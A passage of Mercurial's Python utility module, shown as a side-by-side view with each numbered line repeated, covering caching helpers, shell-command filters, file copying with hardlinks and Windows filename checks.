1173 # D.prev = C
1174 node.next.prev = node.prev
1174 node.next.prev = node.prev
1175 # N.prev = E
1175 # N.prev = E
1176 node.prev = head.prev
1176 node.prev = head.prev
1177 # N.next = A
1177 # N.next = A
1178 # It is tempting to do just "head" here, however if node is
1178 # It is tempting to do just "head" here, however if node is
1179 # adjacent to head, this will do bad things.
1179 # adjacent to head, this will do bad things.
1180 node.next = head.prev.next
1180 node.next = head.prev.next
1181 # E.next = N
1181 # E.next = N
1182 node.next.prev = node
1182 node.next.prev = node
1183 # A.prev = N
1183 # A.prev = N
1184 node.prev.next = node
1184 node.prev.next = node
1185
1185
1186 self._head = node
1186 self._head = node
1187
1187
1188 def _addcapacity(self):
1188 def _addcapacity(self):
1189 """Add a node to the circular linked list.
1189 """Add a node to the circular linked list.
1190
1190
1191 The new node is inserted before the head node.
1191 The new node is inserted before the head node.
1192 """
1192 """
1193 head = self._head
1193 head = self._head
1194 node = _lrucachenode()
1194 node = _lrucachenode()
1195 head.prev.next = node
1195 head.prev.next = node
1196 node.prev = head.prev
1196 node.prev = head.prev
1197 node.next = head
1197 node.next = head
1198 head.prev = node
1198 head.prev = node
1199 self._size += 1
1199 self._size += 1
1200 return node
1200 return node
1201
1201
1202 def lrucachefunc(func):
1202 def lrucachefunc(func):
1203 '''cache most recent results of function calls'''
1203 '''cache most recent results of function calls'''
1204 cache = {}
1204 cache = {}
1205 order = collections.deque()
1205 order = collections.deque()
1206 if func.__code__.co_argcount == 1:
1206 if func.__code__.co_argcount == 1:
1207 def f(arg):
1207 def f(arg):
1208 if arg not in cache:
1208 if arg not in cache:
1209 if len(cache) > 20:
1209 if len(cache) > 20:
1210 del cache[order.popleft()]
1210 del cache[order.popleft()]
1211 cache[arg] = func(arg)
1211 cache[arg] = func(arg)
1212 else:
1212 else:
1213 order.remove(arg)
1213 order.remove(arg)
1214 order.append(arg)
1214 order.append(arg)
1215 return cache[arg]
1215 return cache[arg]
1216 else:
1216 else:
1217 def f(*args):
1217 def f(*args):
1218 if args not in cache:
1218 if args not in cache:
1219 if len(cache) > 20:
1219 if len(cache) > 20:
1220 del cache[order.popleft()]
1220 del cache[order.popleft()]
1221 cache[args] = func(*args)
1221 cache[args] = func(*args)
1222 else:
1222 else:
1223 order.remove(args)
1223 order.remove(args)
1224 order.append(args)
1224 order.append(args)
1225 return cache[args]
1225 return cache[args]
1226
1226
1227 return f
1227 return f
1228
1228
1229 class propertycache(object):
1229 class propertycache(object):
1230 def __init__(self, func):
1230 def __init__(self, func):
1231 self.func = func
1231 self.func = func
1232 self.name = func.__name__
1232 self.name = func.__name__
1233 def __get__(self, obj, type=None):
1233 def __get__(self, obj, type=None):
1234 result = self.func(obj)
1234 result = self.func(obj)
1235 self.cachevalue(obj, result)
1235 self.cachevalue(obj, result)
1236 return result
1236 return result
1237
1237
1238 def cachevalue(self, obj, value):
1238 def cachevalue(self, obj, value):
1239 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1239 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1240 obj.__dict__[self.name] = value
1240 obj.__dict__[self.name] = value
1241
1241
1242 def clearcachedproperty(obj, prop):
1242 def clearcachedproperty(obj, prop):
1243 '''clear a cached property value, if one has been set'''
1243 '''clear a cached property value, if one has been set'''
1244 if prop in obj.__dict__:
1244 if prop in obj.__dict__:
1245 del obj.__dict__[prop]
1245 del obj.__dict__[prop]
1246
1246
1247 def pipefilter(s, cmd):
1247 def pipefilter(s, cmd):
1248 '''filter string S through command CMD, returning its output'''
1248 '''filter string S through command CMD, returning its output'''
1249 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1249 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1250 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1250 stdin=subprocess.PIPE, stdout=subprocess.PIPE)
1251 pout, perr = p.communicate(s)
1251 pout, perr = p.communicate(s)
1252 return pout
1252 return pout
1253
1253
1254 def tempfilter(s, cmd):
1254 def tempfilter(s, cmd):
1255 '''filter string S through a pair of temporary files with CMD.
1255 '''filter string S through a pair of temporary files with CMD.
1256 CMD is used as a template to create the real command to be run,
1256 CMD is used as a template to create the real command to be run,
1257 with the strings INFILE and OUTFILE replaced by the real names of
1257 with the strings INFILE and OUTFILE replaced by the real names of
1258 the temporary files generated.'''
1258 the temporary files generated.'''
1259 inname, outname = None, None
1259 inname, outname = None, None
1260 try:
1260 try:
1261 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1261 infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
1262 fp = os.fdopen(infd, pycompat.sysstr('wb'))
1262 fp = os.fdopen(infd, pycompat.sysstr('wb'))
1263 fp.write(s)
1263 fp.write(s)
1264 fp.close()
1264 fp.close()
1265 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1265 outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
1266 os.close(outfd)
1266 os.close(outfd)
1267 cmd = cmd.replace('INFILE', inname)
1267 cmd = cmd.replace('INFILE', inname)
1268 cmd = cmd.replace('OUTFILE', outname)
1268 cmd = cmd.replace('OUTFILE', outname)
1269 code = os.system(cmd)
1269 code = os.system(cmd)
1270 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1270 if pycompat.sysplatform == 'OpenVMS' and code & 1:
1271 code = 0
1271 code = 0
1272 if code:
1272 if code:
1273 raise Abort(_("command '%s' failed: %s") %
1273 raise Abort(_("command '%s' failed: %s") %
1274 (cmd, explainexit(code)))
1274 (cmd, explainexit(code)))
1275 return readfile(outname)
1275 return readfile(outname)
1276 finally:
1276 finally:
1277 try:
1277 try:
1278 if inname:
1278 if inname:
1279 os.unlink(inname)
1279 os.unlink(inname)
1280 except OSError:
1280 except OSError:
1281 pass
1281 pass
1282 try:
1282 try:
1283 if outname:
1283 if outname:
1284 os.unlink(outname)
1284 os.unlink(outname)
1285 except OSError:
1285 except OSError:
1286 pass
1286 pass
1287
1287
1288 filtertable = {
1288 filtertable = {
1289 'tempfile:': tempfilter,
1289 'tempfile:': tempfilter,
1290 'pipe:': pipefilter,
1290 'pipe:': pipefilter,
1291 }
1291 }
1292
1292
1293 def filter(s, cmd):
1293 def filter(s, cmd):
1294 "filter a string through a command that transforms its input to its output"
1294 "filter a string through a command that transforms its input to its output"
1295 for name, fn in filtertable.iteritems():
1295 for name, fn in filtertable.iteritems():
1296 if cmd.startswith(name):
1296 if cmd.startswith(name):
1297 return fn(s, cmd[len(name):].lstrip())
1297 return fn(s, cmd[len(name):].lstrip())
1298 return pipefilter(s, cmd)
1298 return pipefilter(s, cmd)
1299
1299
1300 def binary(s):
1300 def binary(s):
1301 """return true if a string is binary data"""
1301 """return true if a string is binary data"""
1302 return bool(s and '\0' in s)
1302 return bool(s and '\0' in s)
1303
1303
1304 def increasingchunks(source, min=1024, max=65536):
1304 def increasingchunks(source, min=1024, max=65536):
1305 '''return no less than min bytes per chunk while data remains,
1305 '''return no less than min bytes per chunk while data remains,
1306 doubling min after each chunk until it reaches max'''
1306 doubling min after each chunk until it reaches max'''
1307 def log2(x):
1307 def log2(x):
1308 if not x:
1308 if not x:
1309 return 0
1309 return 0
1310 i = 0
1310 i = 0
1311 while x:
1311 while x:
1312 x >>= 1
1312 x >>= 1
1313 i += 1
1313 i += 1
1314 return i - 1
1314 return i - 1
1315
1315
1316 buf = []
1316 buf = []
1317 blen = 0
1317 blen = 0
1318 for chunk in source:
1318 for chunk in source:
1319 buf.append(chunk)
1319 buf.append(chunk)
1320 blen += len(chunk)
1320 blen += len(chunk)
1321 if blen >= min:
1321 if blen >= min:
1322 if min < max:
1322 if min < max:
1323 min = min << 1
1323 min = min << 1
1324 nmin = 1 << log2(blen)
1324 nmin = 1 << log2(blen)
1325 if nmin > min:
1325 if nmin > min:
1326 min = nmin
1326 min = nmin
1327 if min > max:
1327 if min > max:
1328 min = max
1328 min = max
1329 yield ''.join(buf)
1329 yield ''.join(buf)
1330 blen = 0
1330 blen = 0
1331 buf = []
1331 buf = []
1332 if buf:
1332 if buf:
1333 yield ''.join(buf)
1333 yield ''.join(buf)
1334
1334
1335 Abort = error.Abort
1335 Abort = error.Abort
1336
1336
1337 def always(fn):
1337 def always(fn):
1338 return True
1338 return True
1339
1339
1340 def never(fn):
1340 def never(fn):
1341 return False
1341 return False
1342
1342
1343 def nogc(func):
1343 def nogc(func):
1344 """disable garbage collector
1344 """disable garbage collector
1345
1345
1346 Python's garbage collector triggers a GC each time a certain number of
1346 Python's garbage collector triggers a GC each time a certain number of
1347 container objects (the number being defined by gc.get_threshold()) are
1347 container objects (the number being defined by gc.get_threshold()) are
1348 allocated even when marked not to be tracked by the collector. Tracking has
1348 allocated even when marked not to be tracked by the collector. Tracking has
1349 no effect on when GCs are triggered, only on what objects the GC looks
1349 no effect on when GCs are triggered, only on what objects the GC looks
1350 into. As a workaround, disable GC while building complex (huge)
1350 into. As a workaround, disable GC while building complex (huge)
1351 containers.
1351 containers.
1352
1352
1353 This garbage collector issue have been fixed in 2.7. But it still affect
1353 This garbage collector issue have been fixed in 2.7. But it still affect
1354 CPython's performance.
1354 CPython's performance.
1355 """
1355 """
1356 def wrapper(*args, **kwargs):
1356 def wrapper(*args, **kwargs):
1357 gcenabled = gc.isenabled()
1357 gcenabled = gc.isenabled()
1358 gc.disable()
1358 gc.disable()
1359 try:
1359 try:
1360 return func(*args, **kwargs)
1360 return func(*args, **kwargs)
1361 finally:
1361 finally:
1362 if gcenabled:
1362 if gcenabled:
1363 gc.enable()
1363 gc.enable()
1364 return wrapper
1364 return wrapper
1365
1365
1366 if pycompat.ispypy:
1366 if pycompat.ispypy:
1367 # PyPy runs slower with gc disabled
1367 # PyPy runs slower with gc disabled
1368 nogc = lambda x: x
1368 nogc = lambda x: x
1369
1369
1370 def pathto(root, n1, n2):
1370 def pathto(root, n1, n2):
1371 '''return the relative path from one place to another.
1371 '''return the relative path from one place to another.
1372 root should use os.sep to separate directories
1372 root should use os.sep to separate directories
1373 n1 should use os.sep to separate directories
1373 n1 should use os.sep to separate directories
1374 n2 should use "/" to separate directories
1374 n2 should use "/" to separate directories
1375 returns an os.sep-separated path.
1375 returns an os.sep-separated path.
1376
1376
1377 If n1 is a relative path, it's assumed it's
1377 If n1 is a relative path, it's assumed it's
1378 relative to root.
1378 relative to root.
1379 n2 should always be relative to root.
1379 n2 should always be relative to root.
1380 '''
1380 '''
1381 if not n1:
1381 if not n1:
1382 return localpath(n2)
1382 return localpath(n2)
1383 if os.path.isabs(n1):
1383 if os.path.isabs(n1):
1384 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1384 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1385 return os.path.join(root, localpath(n2))
1385 return os.path.join(root, localpath(n2))
1386 n2 = '/'.join((pconvert(root), n2))
1386 n2 = '/'.join((pconvert(root), n2))
1387 a, b = splitpath(n1), n2.split('/')
1387 a, b = splitpath(n1), n2.split('/')
1388 a.reverse()
1388 a.reverse()
1389 b.reverse()
1389 b.reverse()
1390 while a and b and a[-1] == b[-1]:
1390 while a and b and a[-1] == b[-1]:
1391 a.pop()
1391 a.pop()
1392 b.pop()
1392 b.pop()
1393 b.reverse()
1393 b.reverse()
1394 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1394 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1395
1395
1396 def mainfrozen():
1396 def mainfrozen():
1397 """return True if we are a frozen executable.
1397 """return True if we are a frozen executable.
1398
1398
1399 The code supports py2exe (most common, Windows only) and tools/freeze
1399 The code supports py2exe (most common, Windows only) and tools/freeze
1400 (portable, not much used).
1400 (portable, not much used).
1401 """
1401 """
1402 return (safehasattr(sys, "frozen") or # new py2exe
1402 return (safehasattr(sys, "frozen") or # new py2exe
1403 safehasattr(sys, "importers") or # old py2exe
1403 safehasattr(sys, "importers") or # old py2exe
1404 imp.is_frozen(u"__main__")) # tools/freeze
1404 imp.is_frozen(u"__main__")) # tools/freeze
1405
1405
1406 # the location of data files matching the source code
1406 # the location of data files matching the source code
1407 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1407 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1408 # executable version (py2exe) doesn't support __file__
1408 # executable version (py2exe) doesn't support __file__
1409 datapath = os.path.dirname(pycompat.sysexecutable)
1409 datapath = os.path.dirname(pycompat.sysexecutable)
1410 else:
1410 else:
1411 datapath = os.path.dirname(pycompat.fsencode(__file__))
1411 datapath = os.path.dirname(pycompat.fsencode(__file__))
1412
1412
1413 i18n.setdatapath(datapath)
1413 i18n.setdatapath(datapath)
1414
1414
1415 _hgexecutable = None
1415 _hgexecutable = None
1416
1416
1417 def hgexecutable():
1417 def hgexecutable():
1418 """return location of the 'hg' executable.
1418 """return location of the 'hg' executable.
1419
1419
1420 Defaults to $HG or 'hg' in the search path.
1420 Defaults to $HG or 'hg' in the search path.
1421 """
1421 """
1422 if _hgexecutable is None:
1422 if _hgexecutable is None:
1423 hg = encoding.environ.get('HG')
1423 hg = encoding.environ.get('HG')
1424 mainmod = sys.modules[pycompat.sysstr('__main__')]
1424 mainmod = sys.modules[pycompat.sysstr('__main__')]
1425 if hg:
1425 if hg:
1426 _sethgexecutable(hg)
1426 _sethgexecutable(hg)
1427 elif mainfrozen():
1427 elif mainfrozen():
1428 if getattr(sys, 'frozen', None) == 'macosx_app':
1428 if getattr(sys, 'frozen', None) == 'macosx_app':
1429 # Env variable set by py2app
1429 # Env variable set by py2app
1430 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1430 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
1431 else:
1431 else:
1432 _sethgexecutable(pycompat.sysexecutable)
1432 _sethgexecutable(pycompat.sysexecutable)
1433 elif (os.path.basename(
1433 elif (os.path.basename(
1434 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1434 pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
1435 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1435 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
1436 else:
1436 else:
1437 exe = findexe('hg') or os.path.basename(sys.argv[0])
1437 exe = findexe('hg') or os.path.basename(sys.argv[0])
1438 _sethgexecutable(exe)
1438 _sethgexecutable(exe)
1439 return _hgexecutable
1439 return _hgexecutable
1440
1440
1441 def _sethgexecutable(path):
1441 def _sethgexecutable(path):
1442 """set location of the 'hg' executable"""
1442 """set location of the 'hg' executable"""
1443 global _hgexecutable
1443 global _hgexecutable
1444 _hgexecutable = path
1444 _hgexecutable = path
1445
1445
1446 def _isstdout(f):
1446 def _isstdout(f):
1447 fileno = getattr(f, 'fileno', None)
1447 fileno = getattr(f, 'fileno', None)
1448 try:
1448 try:
1449 return fileno and fileno() == sys.__stdout__.fileno()
1449 return fileno and fileno() == sys.__stdout__.fileno()
1450 except io.UnsupportedOperation:
1450 except io.UnsupportedOperation:
1451 return False # fileno() raised UnsupportedOperation
1451 return False # fileno() raised UnsupportedOperation
1452
1452
1453 def shellenviron(environ=None):
1453 def shellenviron(environ=None):
1454 """return environ with optional override, useful for shelling out"""
1454 """return environ with optional override, useful for shelling out"""
1455 def py2shell(val):
1455 def py2shell(val):
1456 'convert python object into string that is useful to shell'
1456 'convert python object into string that is useful to shell'
1457 if val is None or val is False:
1457 if val is None or val is False:
1458 return '0'
1458 return '0'
1459 if val is True:
1459 if val is True:
1460 return '1'
1460 return '1'
1461 return pycompat.bytestr(val)
1461 return pycompat.bytestr(val)
1462 env = dict(encoding.environ)
1462 env = dict(encoding.environ)
1463 if environ:
1463 if environ:
1464 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1464 env.update((k, py2shell(v)) for k, v in environ.iteritems())
1465 env['HG'] = hgexecutable()
1465 env['HG'] = hgexecutable()
1466 return env
1466 return env
1467
1467
1468 def system(cmd, environ=None, cwd=None, out=None):
1468 def system(cmd, environ=None, cwd=None, out=None):
1469 '''enhanced shell command execution.
1469 '''enhanced shell command execution.
1470 run with environment maybe modified, maybe in different dir.
1470 run with environment maybe modified, maybe in different dir.
1471
1471
1472 if out is specified, it is assumed to be a file-like object that has a
1472 if out is specified, it is assumed to be a file-like object that has a
1473 write() method. stdout and stderr will be redirected to out.'''
1473 write() method. stdout and stderr will be redirected to out.'''
1474 try:
1474 try:
1475 stdout.flush()
1475 stdout.flush()
1476 except Exception:
1476 except Exception:
1477 pass
1477 pass
1478 cmd = quotecommand(cmd)
1478 cmd = quotecommand(cmd)
1479 env = shellenviron(environ)
1479 env = shellenviron(environ)
1480 if out is None or _isstdout(out):
1480 if out is None or _isstdout(out):
1481 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1481 rc = subprocess.call(cmd, shell=True, close_fds=closefds,
1482 env=env, cwd=cwd)
1482 env=env, cwd=cwd)
1483 else:
1483 else:
1484 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1484 proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
1485 env=env, cwd=cwd, stdout=subprocess.PIPE,
1485 env=env, cwd=cwd, stdout=subprocess.PIPE,
1486 stderr=subprocess.STDOUT)
1486 stderr=subprocess.STDOUT)
1487 for line in iter(proc.stdout.readline, ''):
1487 for line in iter(proc.stdout.readline, ''):
1488 out.write(line)
1488 out.write(line)
1489 proc.wait()
1489 proc.wait()
1490 rc = proc.returncode
1490 rc = proc.returncode
1491 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1491 if pycompat.sysplatform == 'OpenVMS' and rc & 1:
1492 rc = 0
1492 rc = 0
1493 return rc
1493 return rc
1494
1494
1495 def checksignature(func):
1495 def checksignature(func):
1496 '''wrap a function with code to check for calling errors'''
1496 '''wrap a function with code to check for calling errors'''
1497 def check(*args, **kwargs):
1497 def check(*args, **kwargs):
1498 try:
1498 try:
1499 return func(*args, **kwargs)
1499 return func(*args, **kwargs)
1500 except TypeError:
1500 except TypeError:
1501 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1501 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1502 raise error.SignatureError
1502 raise error.SignatureError
1503 raise
1503 raise
1504
1504
1505 return check
1505 return check
1506
1506
1507 # a whilelist of known filesystems where hardlink works reliably
1507 # a whilelist of known filesystems where hardlink works reliably
1508 _hardlinkfswhitelist = {
1508 _hardlinkfswhitelist = {
1509 'btrfs',
1509 'btrfs',
1510 'ext2',
1510 'ext2',
1511 'ext3',
1511 'ext3',
1512 'ext4',
1512 'ext4',
1513 'hfs',
1513 'hfs',
1514 'jfs',
1514 'jfs',
1515 'NTFS',
1515 'NTFS',
1516 'reiserfs',
1516 'reiserfs',
1517 'tmpfs',
1517 'tmpfs',
1518 'ufs',
1518 'ufs',
1519 'xfs',
1519 'xfs',
1520 'zfs',
1520 'zfs',
1521 }
1521 }
1522
1522
1523 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1523 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1524 '''copy a file, preserving mode and optionally other stat info like
1524 '''copy a file, preserving mode and optionally other stat info like
1525 atime/mtime
1525 atime/mtime
1526
1526
1527 checkambig argument is used with filestat, and is useful only if
1527 checkambig argument is used with filestat, and is useful only if
1528 destination file is guarded by any lock (e.g. repo.lock or
1528 destination file is guarded by any lock (e.g. repo.lock or
1529 repo.wlock).
1529 repo.wlock).
1530
1530
1531 copystat and checkambig should be exclusive.
1531 copystat and checkambig should be exclusive.
1532 '''
1532 '''
1533 assert not (copystat and checkambig)
1533 assert not (copystat and checkambig)
1534 oldstat = None
1534 oldstat = None
1535 if os.path.lexists(dest):
1535 if os.path.lexists(dest):
1536 if checkambig:
1536 if checkambig:
1537 oldstat = checkambig and filestat.frompath(dest)
1537 oldstat = checkambig and filestat.frompath(dest)
1538 unlink(dest)
1538 unlink(dest)
1539 if hardlink:
1539 if hardlink:
1540 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1540 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1541 # unless we are confident that dest is on a whitelisted filesystem.
1541 # unless we are confident that dest is on a whitelisted filesystem.
1542 try:
1542 try:
1543 fstype = getfstype(os.path.dirname(dest))
1543 fstype = getfstype(os.path.dirname(dest))
1544 except OSError:
1544 except OSError:
1545 fstype = None
1545 fstype = None
1546 if fstype not in _hardlinkfswhitelist:
1546 if fstype not in _hardlinkfswhitelist:
1547 hardlink = False
1547 hardlink = False
1548 if hardlink:
1548 if hardlink:
1549 try:
1549 try:
1550 oslink(src, dest)
1550 oslink(src, dest)
1551 return
1551 return
1552 except (IOError, OSError):
1552 except (IOError, OSError):
1553 pass # fall back to normal copy
1553 pass # fall back to normal copy
1554 if os.path.islink(src):
1554 if os.path.islink(src):
1555 os.symlink(os.readlink(src), dest)
1555 os.symlink(os.readlink(src), dest)
1556 # copytime is ignored for symlinks, but in general copytime isn't needed
1556 # copytime is ignored for symlinks, but in general copytime isn't needed
1557 # for them anyway
1557 # for them anyway
1558 else:
1558 else:
1559 try:
1559 try:
1560 shutil.copyfile(src, dest)
1560 shutil.copyfile(src, dest)
1561 if copystat:
1561 if copystat:
1562 # copystat also copies mode
1562 # copystat also copies mode
1563 shutil.copystat(src, dest)
1563 shutil.copystat(src, dest)
1564 else:
1564 else:
1565 shutil.copymode(src, dest)
1565 shutil.copymode(src, dest)
1566 if oldstat and oldstat.stat:
1566 if oldstat and oldstat.stat:
1567 newstat = filestat.frompath(dest)
1567 newstat = filestat.frompath(dest)
1568 if newstat.isambig(oldstat):
1568 if newstat.isambig(oldstat):
1569 # stat of copied file is ambiguous to original one
1569 # stat of copied file is ambiguous to original one
1570 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1570 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1571 os.utime(dest, (advanced, advanced))
1571 os.utime(dest, (advanced, advanced))
1572 except shutil.Error as inst:
1572 except shutil.Error as inst:
1573 raise Abort(str(inst))
1573 raise Abort(str(inst))
1574
1574
1575 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1575 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1576 """Copy a directory tree using hardlinks if possible."""
1576 """Copy a directory tree using hardlinks if possible."""
1577 num = 0
1577 num = 0
1578
1578
1579 gettopic = lambda: hardlink and _('linking') or _('copying')
1579 gettopic = lambda: hardlink and _('linking') or _('copying')
1580
1580
1581 if os.path.isdir(src):
1581 if os.path.isdir(src):
1582 if hardlink is None:
1582 if hardlink is None:
1583 hardlink = (os.stat(src).st_dev ==
1583 hardlink = (os.stat(src).st_dev ==
1584 os.stat(os.path.dirname(dst)).st_dev)
1584 os.stat(os.path.dirname(dst)).st_dev)
1585 topic = gettopic()
1585 topic = gettopic()
1586 os.mkdir(dst)
1586 os.mkdir(dst)
1587 for name, kind in listdir(src):
1587 for name, kind in listdir(src):
1588 srcname = os.path.join(src, name)
1588 srcname = os.path.join(src, name)
1589 dstname = os.path.join(dst, name)
1589 dstname = os.path.join(dst, name)
1590 def nprog(t, pos):
1590 def nprog(t, pos):
1591 if pos is not None:
1591 if pos is not None:
1592 return progress(t, pos + num)
1592 return progress(t, pos + num)
1593 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1593 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1594 num += n
1594 num += n
1595 else:
1595 else:
1596 if hardlink is None:
1596 if hardlink is None:
1597 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1597 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1598 os.stat(os.path.dirname(dst)).st_dev)
1598 os.stat(os.path.dirname(dst)).st_dev)
1599 topic = gettopic()
1599 topic = gettopic()
1600
1600
1601 if hardlink:
1601 if hardlink:
1602 try:
1602 try:
1603 oslink(src, dst)
1603 oslink(src, dst)
1604 except (IOError, OSError):
1604 except (IOError, OSError):
1605 hardlink = False
1605 hardlink = False
1606 shutil.copy(src, dst)
1606 shutil.copy(src, dst)
1607 else:
1607 else:
1608 shutil.copy(src, dst)
1608 shutil.copy(src, dst)
1609 num += 1
1609 num += 1
1610 progress(topic, num)
1610 progress(topic, num)
1611 progress(topic, None)
1611 progress(topic, None)
1612
1612
1613 return hardlink, num
1613 return hardlink, num
1614
1614
1615 _winreservednames = {
1615 _winreservednames = {
1616 'con', 'prn', 'aux', 'nul',
1616 'con', 'prn', 'aux', 'nul',
1617 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1617 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1618 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1618 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1619 }
1619 }
1620 _winreservedchars = ':*?"<>|'
1620 _winreservedchars = ':*?"<>|'
1621 def checkwinfilename(path):
1621 def checkwinfilename(path):
1622 r'''Check that the base-relative path is a valid filename on Windows.
1622 r'''Check that the base-relative path is a valid filename on Windows.
1623 Returns None if the path is ok, or a UI string describing the problem.
1623 Returns None if the path is ok, or a UI string describing the problem.
1624
1624
1625 >>> checkwinfilename(b"just/a/normal/path")
1625 >>> checkwinfilename(b"just/a/normal/path")
1626 >>> checkwinfilename(b"foo/bar/con.xml")
1626 >>> checkwinfilename(b"foo/bar/con.xml")
1627 "filename contains 'con', which is reserved on Windows"
1627 "filename contains 'con', which is reserved on Windows"
1628 >>> checkwinfilename(b"foo/con.xml/bar")
1628 >>> checkwinfilename(b"foo/con.xml/bar")
1629 "filename contains 'con', which is reserved on Windows"
1629 "filename contains 'con', which is reserved on Windows"
1630 >>> checkwinfilename(b"foo/bar/xml.con")
1630 >>> checkwinfilename(b"foo/bar/xml.con")
1631 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1631 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1632 "filename contains 'AUX', which is reserved on Windows"
1632 "filename contains 'AUX', which is reserved on Windows"
1633 >>> checkwinfilename(b"foo/bar/bla:.txt")
1633 >>> checkwinfilename(b"foo/bar/bla:.txt")
1634 "filename contains ':', which is reserved on Windows"
1634 "filename contains ':', which is reserved on Windows"
1635 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1635 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1636 "filename contains '\\x07', which is invalid on Windows"
1636 "filename contains '\\x07', which is invalid on Windows"
1637 >>> checkwinfilename(b"foo/bar/bla ")
1637 >>> checkwinfilename(b"foo/bar/bla ")
1638 "filename ends with ' ', which is not allowed on Windows"
1638 "filename ends with ' ', which is not allowed on Windows"
1639 >>> checkwinfilename(b"../bar")
1639 >>> checkwinfilename(b"../bar")
1640 >>> checkwinfilename(b"foo\\")
1640 >>> checkwinfilename(b"foo\\")
1641 "filename ends with '\\', which is invalid on Windows"
1641 "filename ends with '\\', which is invalid on Windows"
1642 >>> checkwinfilename(b"foo\\/bar")
1642 >>> checkwinfilename(b"foo\\/bar")
1643 "directory name ends with '\\', which is invalid on Windows"
1643 "directory name ends with '\\', which is invalid on Windows"
1644 '''
1644 '''
1645 if path.endswith('\\'):
1645 if path.endswith('\\'):
1646 return _("filename ends with '\\', which is invalid on Windows")
1646 return _("filename ends with '\\', which is invalid on Windows")
1647 if '\\/' in path:
1647 if '\\/' in path:
1648 return _("directory name ends with '\\', which is invalid on Windows")
1648 return _("directory name ends with '\\', which is invalid on Windows")
1649 for n in path.replace('\\', '/').split('/'):
1649 for n in path.replace('\\', '/').split('/'):
1650 if not n:
1650 if not n:
1651 continue
1651 continue
1652 for c in _filenamebytestr(n):
1652 for c in _filenamebytestr(n):
1653 if c in _winreservedchars:
1653 if c in _winreservedchars:
1654 return _("filename contains '%s', which is reserved "
1654 return _("filename contains '%s', which is reserved "
1655 "on Windows") % c
1655 "on Windows") % c
1656 if ord(c) <= 31:
1656 if ord(c) <= 31:
1657 return _("filename contains '%s', which is invalid "
1657 return _("filename contains '%s', which is invalid "
1658 "on Windows") % escapestr(c)
1658 "on Windows") % escapestr(c)
1659 base = n.split('.')[0]
1659 base = n.split('.')[0]
1660 if base and base.lower() in _winreservednames:
1660 if base and base.lower() in _winreservednames:
1661 return _("filename contains '%s', which is reserved "
1661 return _("filename contains '%s', which is reserved "
1662 "on Windows") % base
1662 "on Windows") % base
1663 t = n[-1:]
1663 t = n[-1:]
1664 if t in '. ' and n not in '..':
1664 if t in '. ' and n not in '..':
1665 return _("filename ends with '%s', which is not allowed "
1665 return _("filename ends with '%s', which is not allowed "
1666 "on Windows") % t
1666 "on Windows") % t
1667
1667
1668 if pycompat.iswindows:
1668 if pycompat.iswindows:
1669 checkosfilename = checkwinfilename
1669 checkosfilename = checkwinfilename
1670 timer = time.clock
1670 timer = time.clock
1671 else:
1671 else:
1672 checkosfilename = platform.checkosfilename
1672 checkosfilename = platform.checkosfilename
1673 timer = time.time
1673 timer = time.time
1674
1674
1675 if safehasattr(time, "perf_counter"):
1675 if safehasattr(time, "perf_counter"):
1676 timer = time.perf_counter
1676 timer = time.perf_counter
1677
1677
1678 def makelock(info, pathname):
1678 def makelock(info, pathname):
1679 """Create a lock file atomically if possible
1679 """Create a lock file atomically if possible
1680
1680
1681 This may leave a stale lock file if symlink isn't supported and signal
1681 This may leave a stale lock file if symlink isn't supported and signal
1682 interrupt is enabled.
1682 interrupt is enabled.
1683 """
1683 """
1684 try:
1684 try:
1685 return os.symlink(info, pathname)
1685 return os.symlink(info, pathname)
1686 except OSError as why:
1686 except OSError as why:
1687 if why.errno == errno.EEXIST:
1687 if why.errno == errno.EEXIST:
